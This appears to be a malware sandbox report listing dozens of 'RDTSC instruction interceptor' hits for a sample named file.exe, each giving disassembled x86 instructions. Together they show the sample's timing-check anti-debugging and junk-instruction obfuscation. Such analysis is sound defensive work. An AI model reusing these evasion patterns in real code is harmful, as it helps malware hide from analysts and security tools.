Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D55F0 second address: 2D55F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 309A9E second address: 309AAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FBFE8B00EF6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 309AAE second address: 309ADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FBFE93CDB81h 0x0000000d jmp 00007FBFE93CDB85h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 309FA4 second address: 309FA9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D8B60 second address: 2D8B66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D8B66 second address: 2D8B6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 312085 second address: 31208A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31208A second address: 312094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FBFE8B00EF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 312094 second address: 312098 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 315D7C second address: 315D84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DC1C6 second address: 2DC1CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DC1CA second address: 2DC202 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FBFE8B00EF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jns 00007FBFE8B00EFCh 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007FBFE8B00F02h 0x0000001a jp 00007FBFE8B00EF6h 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DC202 second address: 2DC206 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 300F6E second address: 300F77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3156B3 second address: 3156E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB88h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c jnp 00007FBFE93CDB76h 0x00000012 push eax 0x00000013 pop eax 0x00000014 pop ebx 0x00000015 push ecx 0x00000016 js 00007FBFE93CDB76h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3156E4 second address: 315702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007FBFE8B00F05h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 319F88 second address: 319F8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 319F8C second address: 319F9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 319F9A second address: 319FAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31A1E7 second address: 31A1F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 js 00007FBFE8B00F04h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31AD9E second address: 31ADB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBFE93CDB80h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31AE62 second address: 31AE66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31AF43 second address: 31AF47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31AF47 second address: 31AF4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31DBC5 second address: 31DBCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31E4E1 second address: 31E4EB instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBFE8B00EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31F005 second address: 31F009 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31F009 second address: 31F021 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FBFE8B00EFBh 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 31FA6E second address: 31FA72 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 323B13 second address: 323B7D instructions: 0x00000000 rdtsc 0x00000002 je 00007FBFE8B00EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a ja 00007FBFE8B00EF8h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007FBFE8B00EFBh 0x00000019 nop 0x0000001a movsx ebx, di 0x0000001d cmc 0x0000001e push 00000000h 0x00000020 xor dword ptr [ebp+122D2450h], eax 0x00000026 push 00000000h 0x00000028 call 00007FBFE8B00F03h 0x0000002d sub dword ptr [ebp+1244B3ABh], esi 0x00000033 pop edi 0x00000034 xchg eax, esi 0x00000035 jg 00007FBFE8B00EFAh 0x0000003b push ebx 0x0000003c push ebx 0x0000003d pop ebx 0x0000003e pop ebx 0x0000003f push eax 0x00000040 pushad 0x00000041 jmp 00007FBFE8B00F01h 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 323B7D second address: 323B81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 323B81 second address: 323B85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 325C3F second address: 325C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 325C44 second address: 325CAF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007FBFE8B00EF8h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000015h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 mov ebx, dword ptr [ebp+122D181Fh] 0x00000029 mov bx, cx 0x0000002c push 00000000h 0x0000002e mov bx, 4479h 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebp 0x00000037 call 00007FBFE8B00EF8h 0x0000003c pop ebp 0x0000003d mov dword ptr [esp+04h], ebp 0x00000041 add dword ptr [esp+04h], 0000001Dh 0x00000049 inc ebp 0x0000004a push ebp 0x0000004b ret 0x0000004c pop ebp 0x0000004d ret 0x0000004e push esi 0x0000004f push eax 0x00000050 jbe 00007FBFE8B00EF6h 0x00000056 pop ebx 0x00000057 pop edi 0x00000058 push eax 0x00000059 pushad 0x0000005a pushad 0x0000005b push eax 0x0000005c push edx 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 325CAF second address: 325CBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FBFE93CDB76h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 323D3C second address: 323D49 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBFE8B00EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 325CBD second address: 325CC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 323D49 second address: 323DC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 jmp 00007FBFE8B00F07h 0x0000000d pop eax 0x0000000e nop 0x0000000f jl 00007FBFE8B00EFCh 0x00000015 mov ebx, dword ptr [ebp+122D2AADh] 0x0000001b push dword ptr fs:[00000000h] 0x00000022 mov dword ptr fs:[00000000h], esp 0x00000029 add dword ptr [ebp+122D36A7h], eax 0x0000002f mov eax, dword ptr [ebp+122D0729h] 0x00000035 jo 00007FBFE8B00EFCh 0x0000003b add dword ptr [ebp+122D3724h], eax 0x00000041 push FFFFFFFFh 0x00000043 push 00000000h 0x00000045 push eax 0x00000046 call 00007FBFE8B00EF8h 0x0000004b pop eax 0x0000004c mov dword ptr [esp+04h], eax 0x00000050 add dword ptr [esp+04h], 00000014h 0x00000058 inc eax 0x00000059 push eax 0x0000005a ret 0x0000005b pop eax 0x0000005c ret 0x0000005d mov ebx, 6AECDE82h 0x00000062 push eax 0x00000063 pushad 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 328AFA second address: 328AFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 328AFE second address: 328B14 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FBFE8B00EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c jo 00007FBFE8B00F04h 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 328B14 second address: 328B18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 328D98 second address: 328D9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 328D9C second address: 328DAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007FBFE93CDB78h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32CA58 second address: 32CA5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32EBE4 second address: 32EBEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32CCF4 second address: 32CD09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBFE8B00F00h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32BC4D second address: 32BC51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32FB2F second address: 32FB33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32FB33 second address: 32FB7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007FBFE93CDB83h 0x0000000c nop 0x0000000d mov ebx, 3D3F3D85h 0x00000012 push 00000000h 0x00000014 mov dword ptr [ebp+122D1E88h], ebx 0x0000001a push 00000000h 0x0000001c and ebx, 64ABD477h 0x00000022 jmp 00007FBFE93CDB81h 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32FB7B second address: 32FB7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32FB7F second address: 32FB85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 32FB85 second address: 32FB8A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 331C39 second address: 331C3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 330D20 second address: 330D26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 331EE2 second address: 331EE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 331EE7 second address: 331EEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 33C7EE second address: 33C7F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 341323 second address: 34132A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 342A56 second address: 342A62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 342A62 second address: 342A66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 342A66 second address: 342A6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 342A6C second address: 342AAE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007FBFE8B00EFEh 0x00000013 jl 00007FBFE8B00EF6h 0x00000019 popad 0x0000001a push ecx 0x0000001b jmp 00007FBFE8B00EFEh 0x00000020 pop ecx 0x00000021 popad 0x00000022 mov eax, dword ptr [eax] 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FBFE8B00EFAh 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 342AAE second address: 342AB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 342B7F second address: 342B83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 342B83 second address: 342B8D instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBFE93CDB76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 342CC4 second address: 16ED05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 xor dword ptr [esp], 51542521h 0x0000000c jmp 00007FBFE8B00EFFh 0x00000011 push dword ptr [ebp+122D076Dh] 0x00000017 cld 0x00000018 call dword ptr [ebp+122D3152h] 0x0000001e pushad 0x0000001f mov dword ptr [ebp+122D192Bh], edx 0x00000025 xor eax, eax 0x00000027 mov dword ptr [ebp+122D18F6h], esi 0x0000002d mov edx, dword ptr [esp+28h] 0x00000031 or dword ptr [ebp+122D18F6h], edi 0x00000037 mov dword ptr [ebp+122D2B0Dh], eax 0x0000003d mov dword ptr [ebp+122D18F6h], esi 0x00000043 mov esi, 0000003Ch 0x00000048 jmp 00007FBFE8B00EFBh 0x0000004d add esi, dword ptr [esp+24h] 0x00000051 sub dword ptr [ebp+122D2450h], eax 0x00000057 lodsw 0x00000059 clc 0x0000005a add eax, dword ptr [esp+24h] 0x0000005e pushad 0x0000005f cmc 0x00000060 jmp 00007FBFE8B00F07h 0x00000065 popad 0x00000066 mov ebx, dword ptr [esp+24h] 0x0000006a cmc 0x0000006b push eax 0x0000006c jng 00007FBFE8B00F00h 0x00000072 push eax 0x00000073 push edx 0x00000074 pushad 0x00000075 popad 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D0516 second address: 2D051A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D051A second address: 2D0520 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D0520 second address: 2D0526 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D0526 second address: 2D0532 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FBFE8B00EF6h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D0532 second address: 2D054D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB80h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D054D second address: 2D0552 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 349288 second address: 34929C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c js 00007FBFE93CDB7Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34929C second address: 3492B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FBFE8B00F03h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 349409 second address: 34947B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB86h 0x00000007 jnp 00007FBFE93CDB76h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 jmp 00007FBFE93CDB7Bh 0x00000015 jmp 00007FBFE93CDB7Ah 0x0000001a pop ebx 0x0000001b pushad 0x0000001c push edi 0x0000001d pop edi 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 popad 0x00000022 pushad 0x00000023 push edi 0x00000024 jmp 00007FBFE93CDB84h 0x00000029 jmp 00007FBFE93CDB7Bh 0x0000002e pop edi 0x0000002f pushad 0x00000030 push eax 0x00000031 pop eax 0x00000032 push ebx 0x00000033 pop ebx 0x00000034 pushad 0x00000035 popad 0x00000036 jnp 00007FBFE93CDB76h 0x0000003c popad 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34947B second address: 349481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 349481 second address: 349485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34972B second address: 349735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 349896 second address: 34989C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34989C second address: 3498B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBFE8B00F04h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3498B6 second address: 3498D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007FBFE93CDB87h 0x0000000b jmp 00007FBFE93CDB81h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 349A2C second address: 349A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 349A32 second address: 349A4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FBFE93CDB81h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 349A4C second address: 349A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 349A50 second address: 349A5A instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBFE93CDB76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 349BC0 second address: 349BC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 349BC6 second address: 349BCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 349BCC second address: 349BEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007FBFE8B00EF6h 0x00000009 pushad 0x0000000a popad 0x0000000b jnp 00007FBFE8B00EF6h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 pushad 0x00000016 jnc 00007FBFE8B00EF6h 0x0000001c pushad 0x0000001d popad 0x0000001e popad 0x0000001f push edi 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 349D3C second address: 349D42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
